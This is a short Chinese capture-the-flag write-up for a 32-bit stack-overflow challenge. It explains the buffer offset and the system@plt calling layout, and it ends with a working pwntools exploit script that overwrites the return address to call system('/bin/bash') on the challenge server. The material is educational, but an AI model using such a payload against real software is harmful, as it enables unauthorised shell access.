
checksec
没保护,接着放die
看到32位,用ida打开

看到是buf到栈顶0x88字节,却允许输入0x100字节,存在栈溢出
我们看到system()函数和/bin/bash是分开的,所以要按照32位程序调用函数的逻辑:
[esp]-->[buf]-->[ebp][返回地址][system函数地址][/bin/bash地址]这里找system地址的时候会发现有两处不一样的system地址:

用.text段的system:程序会跳转到 system@plt ,system 函数会默认栈顶(ESP 指向的位置)是它的返回地址,而紧接着的下一个 4 字节(ESP+4 指向的位置)就是它的第一个参数。
用.plt段的system:需要手动填 4 字节假返回地址,再填/bin/bash地址。exp:(我用的.plt段的system函数)
from pwn import *
p = remote('node5.buuoj.cn', 25497)
offset = 0x8C
payload = b'A'*offset + p32(0x08048320) + p32(0xdeadbeef) + p32(0x804A024)
p.recvuntil(b':')
p.send(payload)
p.interactive()